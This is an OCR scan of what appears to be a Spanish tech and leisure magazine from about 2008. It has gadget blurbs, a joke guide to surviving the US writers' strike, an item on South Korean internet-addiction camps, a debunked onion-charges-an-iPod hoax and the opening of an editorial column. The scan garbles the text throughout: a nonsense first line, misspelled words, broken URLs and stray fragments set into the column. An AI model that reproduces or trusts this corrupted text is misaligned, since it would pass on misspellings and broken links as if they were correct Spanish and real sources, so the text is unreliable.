ming-to-apan-this-april AL 1210 (S50 DRAT (3=t

PR Ty oL = LR
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i B il Para cantar y berrear en la ducha

Siempre hemos querido cantar en la ducha con nuestro mp3, pero temia-
mas que sc nos mojara. Este altavoz, ademds de reproducir el sonido en la
ducha a salvo del agua. también protege nuestro mp3, que se coloca en su
interior. Incluso podemos controlarlo con sus propios botones, para que
todo quede seco.
hitp://www.audiocubes.com/product/Zumreed_Rain_Drop iPod_Bathro-
om_Speaker.hitml

Simulador de vuelo estilo recreativa

Atrds quedan los montajes tremebundos para jugar al simulador de
vuelo con tres monitores, un montdn de cables y demds cacharros.
Los que recuerden los arcades estilo Thunder Blade pueden hacerse
con esta silla y jugar a su simulador de vuelo preferido al estilo de los
salones recreativos,

http:/fwww.gamechairs.com/HotSeats-723-HOT 101 0.html

Misica para el retrete

Este ingenioso dispositive tiene varias funciones. Para empezar,
reproduce relajante misica para aquellos que se sienten incémo-
dos al hacer sus necesidades mientras hay gente al otro lado de La
puerta, por aguello de los ruiditos. Y cuando algulen termina de
mingitar, el aparato le avisa para que baje la tapa. Impresionante.

hittp:/fwww.taylorgifts.com/prodetail ~itemMo~27835 .asp

Chewie en la chepa |
5i en El Imperio Contraataca Chewbacea lievaba a C3PO en la espalda, ahors pode-
mas llevar a Chewie. Bueno, mds blen a la mochila Chewie, para guardar nuestros li-
bros y nuestros mp3. Atencidn a sus suaves pelitos.

http:/fwww.thinkgeek.com/computing/bags/9aa0/
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Los efectos de la huelga de guionistas USA nos llevan al limite

Que si, que la huelga se estd notando ya, que los parones de las se-
ries no son los habituales y el Azureus empieza a notar la carestia.
Como no es seguro que cuando estés leyendo estas lineas todo se
haya arreglado, te ofrecemos una breve pero (til guia de supervi-
vencia por si llega ese dia terrible en que no tienes nada nuevo que

echarte a los ojitos.

Ante todo, mucha calma

Ademis de ser el titulo de uno de los mejores discos
de Siniestro Total, es toda una médxima que hay que
poner en prictica estos oscuros dias. No viene nada
mal conservar la calma, porgue ya se sabe lo que pasa
cuando nos defamos dominar por la falta de educacion
¥ de paciencia. Mo hay mds que ver con mds de un
elemento que se pasea, por ejemplo, por los foros de
Tusseries.com vociferando y exigiendo los nuevos
sublitulos que se curran los afamados wsuarios de la
pagina. Pues ese mismo autocontrol hay aue llevarlo a
cabo en ¢l momento en que veamos que no hay nada
nuevo de Anatomia de Grey, Mujeres Desesperadas u,
horror, Héroes.

A continuacion te damos una seric de consejos que
puedes seguir. O no, W verds. Es mis, lo suyo es que
cada uno sea creativo y se tome las siguientes notas
como una guia. de la cual poder entresacar nuevos
metodos y nuevos pasos para sobrellevar lo mejor po-
sible la ausencia de las queridas serics americanas.

- En el armario te estd esperando una consola con va-
rias capas de polvo. éA qué esperas para reconciliarte
con ella? éComo? éQue tienes una Dreamcast en una
caja? IExcomunién si no te vuelves a hacer Bangai-O
enteritol

- Vamos a ver, te has gastado una pasta en series los
ultimos afios. &Y solo has visto los discos de extras? In-
feliz, vuelve a ver los capitulos de Murder One o de
Expediente X, con el dineral que valen los DVD de
Mulder y Scully. ¥ no nos digas eso de que ya los tie-
nes muy vistos, para eso no haberlos comprado.

- El armario de las especias sin montar desde aque lo
trajiste de lkea. Muy bonito. Si es que no lo has saca-
do de la caja, desalmado. Como le falte una pieza, nos
Vamos a reir.

- No hagas caso a eso que decian en Los Simpson. Ya
sabes, eso que dicen cuando se va la tele en Springfield
("no intenten tener relaciones sexuales. A causa de las
radiaciones sus genitales estardn inservibles™). Fs mds,
prucba con juguetitos. Sexuales, nos referimos, lo que
faltaba ya es que llevaras los Madelman de coleccionis-
ta que te has comprado por eBay al lecho conyugal.

- Tienes docenas de bookmarks de recetas facilisimas
de hacer, pero siempre recurres a la pizea Tarradellas.
Haz buen uso de la impresora o, si te mola lo del wifl,
lévate ¢l portitil a la cocina para fardar de cocinillas
de ademis de modelno. Eso si, el ordenata lejos de la
harina, la care picada y el huevo batido.
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- Tranauilo, no te vamos a decir eso de “sal a la calle y dis-
fruta de la naturaleza y del contacto con la gente™; a estas
alturas, la gente se habrd desatado en una orgfa de sangre
por el ansia v |a falta de nuevas amarguras de Cinco Her-
manos, y ks calles se habran tomado en un MNeoTokyo que
riase usled de Akira, olga. Lo més sensalo es que perma-
nezcas en casita, con la mente despejada y el video del Es-
paia-Malta en Divx, que siempre sube la moral.

= {Cudnto tiempo llevas despegado del porno? No te
suenan nombres como Brooke Banner, Bree Olson,
Ashlynn Brooke y Daisy Maric? IPero bueno! Es el mo-
mento de reengancharte a una nueva generacién, en
todos los sentidos. Ya, ya. no es lo que tu pareja espe-
ra para seguir pasando las lluviosas tardes de domingo,
pero quién sabe.

- Esto que vamos a decir entrana sus riesgos, s una
solucién quizds demasiado expeditiva y con numerosos
efectos secundarios, pero por nosotros que no quede.
Ahi va. World of Warcraft.

- Todas estas soluciones se resumen en una sola. Futu-
rama: Bender s Big Score. La nucva maravilla de Pla-
net Express ya puede verse en versién original. ¥ es
tan buena que la podemos ver toooados los dias hasta
que pase esta pesadilla de la huelga. <
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|Eres un enfermo, eres un enfermol”, nos
grita nuestra conciencia o nuestra novia en su
defecto, porque nos pasamos todo el dia conec-
tados a Internet. Pero todo el dia. Es levantarse,
¥ hala, a leer los periddicos online, a chequear el
correo, a ver los nuevos subtitulos para nuestras
series, y qué famosa ha salide esta semana en In-
bervid. Que si. Y luego por la noche cualauiera
sabe qué miramos antes de acostarnos a las tan-
tas. ¥ durante el dia, més de lo mismo. Estamos
pegaditos al monitor o a la pantallita de la PDA,
¥ no parece tener solucidn. Bueno, o si. En Co-
rea del Sur, pais donde han entrado a las bravas
en eso de las lecnologias de [a informacién y el
ocio electronico, han ideado unos campos para
“desintoxicar” a los usuarios obsesionados con
la Red. {Funcionardn, o solo serdn una forma
mas de sacar los cuartos a los incautos internau-
tas? {importaremos estos campos de reeduca-
cion para hacer olvidar a nuestros jovenes y no
tan jovenes el ciberespacio?
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In Korea, a Boot Camg Cure for Web Obsession
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WEB Chorra

verdad es que por aguello
de los blogs la noticia se ex-

erduras, ¢hay
algo que no puedan
hacer? Por lo pron-
to, cargar un iPod.
Nos explicamos. Lo
chorra de este mes
no es la web en
cuestion, sino ¢l he-
cho de que, como
suele pasar, nos cre-
amos a pies juntillas
lo que sale en Inter-
net. Vamos, como
hace 30 anos con la
tele. Otras veces
hemos sacado expe-
rimentos con pala-
tas alimentando
cacharritos y no se-
res humanos. Expe-
rimentos probados,
es decir. En el caso
Que nos ocupa, la

tendié como la péhvora y, to-
dos la dimos por cierta,
Hasta que més de uno se
puso a hacer la prueba en
casa. Porque hay veces que
se puede hacer la prueba de
forma muy sencilla. ¢Bastaba
con tener un iPod y una ce-
bolla? Pues a experimentar.
Y no. La cosa no funciona, o
eso puede verse en paginas
como http:/f/www.acorscad-
den.com/technology/tested-
charge-an-ipod-with-and-oni
ﬂn-rﬂsull-falitf. Vamos, que
la cosa no es tan Ficil como
poner el cable USB a una
cebolla y ya tenemos energia
para nuestro reproductor
Furlétil- Ya sabeis cudl es la
eccion de hoy.

“Yo iba a probar lo de la cebolla y el mp3, pero al final me hice una tortilla”: Carlos Verdier
“¥ cémo cortaste el mp37? Al menos la tortilla te quedaria crujiente...”: Gaby Lépez

arrobal@megamultimedia.com, va estais tardando
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Usted es bueno

JSaben que son personas con suerte? Le-
yendo estas lineas sé que han salido a la
calle y han comprado esta su revista, que
la han hojeado mientras se alejaban del
kiosco, leido mientras desayunan -por
cierto, buen provecho-, engullendo estos
textos comodamente apalancados en su
casita o sentados incomodadisimamente
casi en postura kamasutriana delante de
su ordenador doméstico. Ahi hay esfuer-
zo, voluntad, accion, ganas. Y es por eso
por lo que son suertudos, por la capaci-

B0

dad y porque alguien -un pobrecito co-
ma, por si sirve de algo- se percata de su
validez como entidad activa, que no es
poco en los tiempos que vivimos.

Seria cuestion de establecer que los es-
fuerzos son mutuos, que la reaccion gue
ustedes muestran es respuesta a la accion
de los que hacemos esta publicacion, edi-
torial incluida, realizamos. No deseo ex-
poner un ruego de reconocimientos hacia
nuestras personas ni tampoco, y perdd-
nenme la desconsideracidn, hacia las su-

Ydefacero

yas, sefores lectores, tan sdlo me gustaria
quedarme y compartir con ustedes el de-
talle de las obras que no tienen reconoci-
miento porque nos parecen que son de
aparicion espontanea, que se hacen solas.
Mentira podrida, en lo vintage hay mucha
gente que nos hace cosas -si, hace cosas
para nosotros, primera persona del plural-
. gente que se mueve con esfuerzo y nos
proporciona simple y sincero placer. ;De
qué maneral Pues pongamos que organi-
zando eventos, que es el tema de hoy
con &l que intentaré divertirles,
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